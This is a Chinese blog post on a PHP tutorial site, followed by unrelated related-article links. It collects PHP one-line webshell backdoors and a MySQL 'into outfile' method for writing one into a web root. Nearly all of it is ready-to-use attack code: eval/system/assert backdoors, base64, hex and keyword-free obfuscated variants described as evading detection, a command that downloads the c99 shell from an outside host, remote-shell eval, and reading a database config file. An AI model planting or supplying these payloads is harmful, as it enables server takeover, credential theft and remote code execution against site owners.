PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
PHP中的CMS的涵义
Mar 11 PHP
有关PHP中MVC的开发经验分享
May 17 PHP
PHP中批量生成静态html(命令行下运行PHP)
Apr 19 PHP
php实现的简易扫雷游戏实例
Jul 09 PHP
EarthLiveSharp中cloudinary的CDN图片缓存自动清理python脚本
Apr 04 PHP
PHP简单实现二维数组赋值与遍历功能示例
Oct 19 PHP
PHP开发之归档格式phar文件概念与用法详解【创建,使用,解包还原提取】
Nov 17 PHP
PHP创建XML的方法示例【基于DOMDocument类及SimpleXMLElement类】
Sep 10 PHP
在Laravel中实现使用AJAX动态刷新部分页面
Oct 15 PHP
Thinkphp 框架配置操作之配置加载与读取配置实例分析
May 15 PHP
PHP7 其他修改
Mar 09 PHP
php 原生分页
Apr 01 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
浅析PHP中的字符串编码转换(自动识别原编码)
2013/07/02 PHP
ThinkPHP应用模式扩展详解
2014/07/16 PHP
php的mkdir()函数创建文件夹比较安全的权限设置方法
2014/07/28 PHP
解决nginx不支持thinkphp中pathinfo的问题
2015/07/21 PHP
用 javascript 实现的点击复制代码
2007/03/24 Javascript
js加强的经典分页实例
2013/03/15 Javascript
js控制淡入淡出示例代码
2013/11/12 Javascript
初始Nodejs
2014/11/08 NodeJs
DOM节点删除函数removeChild()用法实例
2015/01/12 Javascript
jQuery使用after()方法在元素后面添加多项内容的方法
2015/03/26 Javascript
基于javascript实现listbox左右移动
2016/01/29 Javascript
详解Wondows下Node.js使用MongoDB的环境配置
2016/03/01 Javascript
js微信分享API
2020/10/11 Javascript
利用jquery实现下拉框的禁用与启用
2016/12/07 Javascript
slideToggle+slideup实现手机端折叠菜单效果
2017/05/25 Javascript
浅谈SpringMVC中post checkbox 多选框value的值(隐藏域方式)
2018/01/08 Javascript
使用Vue组件实现一个简单弹窗效果
2018/04/23 Javascript
详解vue的数据劫持以及操作数组的坑
2019/04/18 Javascript
Vue利用Blob下载原生二进制数组文件
2019/09/25 Javascript
vue项目初始化到登录login页面的示例
2019/10/31 Javascript
JavaScript实现与web通信的方法详解
2020/08/07 Javascript
[04:31]2016国际邀请赛中国区预选赛妖精采访
2016/06/27 DOTA
python中常用的各种数据库操作模块和连接实例
2014/05/29 Python
Python3 模块、包调用&amp;路径详解
2017/10/25 Python
anaconda中更改python版本的方法步骤
2019/07/14 Python
python Django 创建应用过程图示详解
2019/07/29 Python
求职信需要的五点内容
2014/02/01 职场文书
火锅店创业计划书范文
2014/02/02 职场文书
中国梦主题教育活动总结
2014/05/05 职场文书
团支部推优材料
2014/05/21 职场文书
汽车维修专业自荐书
2014/05/26 职场文书
2015商场元旦促销活动策划方案
2014/12/09 职场文书
党小组推荐意见
2015/06/02 职场文书
大学优秀学生主要事迹材料
2015/11/04 职场文书
python批量更改目录名/文件名的方法
2021/04/18 Python
Python OpenCV实现传统图片格式与base64转换
2021/06/13 Python